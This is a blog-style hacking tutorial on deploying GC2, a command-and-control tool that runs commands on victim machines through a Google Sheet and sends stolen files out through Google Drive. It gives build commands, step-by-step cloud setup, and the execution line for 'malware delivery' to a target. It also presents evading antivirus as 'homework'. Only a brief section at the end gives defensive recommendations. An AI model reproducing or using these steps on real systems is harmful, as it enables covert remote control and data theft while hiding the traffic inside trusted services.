Hacking Tutorial: Google Sheets Command and Control (C2) Server

Preface

While doing research on Google Sheets abuse cases, I came across a really interesting use case with Google Sheets for offensive security operations. Not exactly what I was looking for, but fell down the rabbit hole.

In this article, I’ll demonstrate how easy it is to set up and test in your environment. We’ll also cover some security guidance around this attack vector.

Total set up took me about 20 minutes.

What got me interested in this was the idea of using allow/deny lists for domains, especially around the short-lived hype of the .zip TLD. Enterprise organizations have an almost inherent trust with certain “good” domains, like sheet.google.com.

Tools like these are legitimate productivity tools and aren’t really the top priority when it comes to “malicious activity”. Typically, we’re looking for anomalies — like weird domains an endpoint is reaching out to.

Introduction

Here comes GC2 — a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrate data using Google Drive.

As a refresher, Command and Control is a family of techniques that an attacker uses to communicate with systems under their control. One important aspect of this is avoiding detection, for obvious reasons.

Through the use of the Google Sheet domain, Google Developer APIs, you can quickly generate an executable malware to run on an endpoint that blends an adversaries attacks with existing traffic to avoid detection and network filtering. At first glance, I too would consider most data coming through Google Sheets to be “safe”.

Under the MITRE ATT&CK Framework, this technique would be categorized under T1071.001. Under the Tactic: Command and Control, as Technique: Application Layer Protocol.

Disclaimer: I did not build this, nor do i have any affiliation with its creator. Just a curious soul.

Hacking Tutorial

Most of these steps are available in the Github repo README. I’ve included some more details to get you going faster, especially if you are less experienced with Google Cloud. If you have none, don’t fret, it’s pretty straight forward!

Step 1: Build Executable

git clone https://github.com/looCiprian/GC2-sheet 
cd GC2-sheet
go build gc2-sheet.go

This will build an executable named gc2-sheet.

Step 2: Create Google Service Account

• You’ll need an existing Google Cloud project. Create one if you don’t have one. For testing, I made one named Baselab
• You’re going to want the Service Account email value.
• Go to APIs & Services > Credentials > Create Credentials

Go to APIs & Services > Credentials > Create Credentials

• Click on Service Accounts > Create a new key and export as .json key file

Step 3: Enable Google Sheet and Google Drive API for your Google Cloud Project

• For Google Sheets API instructions, go here

For Google Sheets API, it should look like this.

• For Google Drive API, go here

For Google Drive API, it should look like this.

Step 4: Set up Google Sheet and Drive

Remember that weird looking email that was created when we made our Google Cloud Project Service Account? You’ll need that here.

• Create a new Google Drive folder and add the service account email as an Editor to the group

I made one called gc2-temp.

• Create a new Google Sheet in that folder and add the service account email address an Editor to that newly created sheet. Same process as above.

Step 5: Gather Google Sheet ID and Drive Folder ID

Our friendly malware is going to need these values. Examples below:

Google Sheet ID

https://docs.google.com/spreadsheets/d/<Google sheet ID>/edit#gid=0

Google Drive Folder ID

https://drive.google.com/drive/u/0/folders/<Google drive ID>

Step 6: Malware Delivery + Execution

You’re going to need to deliver the malware to the target workstation and execute with the following options.

gc2-sheet --key <GCP-creds.JSON > --sheet <Google sheet ID> --drive <Google drive ID>

Note: There are a lot of malware delivery, antivirus evasion, and XDR evasion techniques , which I won’t cover here. That’s homework for yourself ;)

Step 7: Command Execution via Google Sheets as console

At this point, your malware should be running and ready to rock! New connections to other victims will appear as other tabs in the spreadsheet. To use this:

• Enter the desired command on victim machine in Column A
• Receive the output of the command in Column B

There is even a neat Delay Configuration that sets how long you want the victim to wait before sending you an output. Useful for large output or low latency.

Beyond that there are upload and download features that allow you to exfiltrate or add your security tools to the specified Google Drive folder.

Security Recommendations

Reducing attack surface

• Email and phishing controls can help reduce your attack surface, but ultimately it does not prevent a user from all places that malware can be hosted and running it directly on their machine
• As your organization grows, you have a greater risk for insider threat. With looming economics in the macro-environment, a disgruntled employee is an easy entry point to start from.

Bolster detection capabilities

• XDR and SIEMs are not a catch all. Treat them as another layer of your defense.
• This is a forever cat-and-mouse game as attackers can wrap their malware with various techniques to avoid detection.
• For example, tools like Gatekeeper from Jamf can prevent the run of unsigned apps and unidentified developers. An attacker can attempt to disable this or bypass by using compromised code-signing certificates.

Assume Breach

Google Sheets is just one example of avoiding detection through the application layer. From here, an attacker can get access to internal applications as well, interacting with the application security domain.

If you put your imagination to it, you can build all sorts of other similar Command and Control (C2) servers using existing “trusted” platforms.

Be cautious of over-investing in securing your perimeter. In the modern age of computing, we are inherently interconnected.

Always assume breach and build defense in depth. If a single compromised endpoint can make or break your security posture, you’ve got higher priorities on your plate.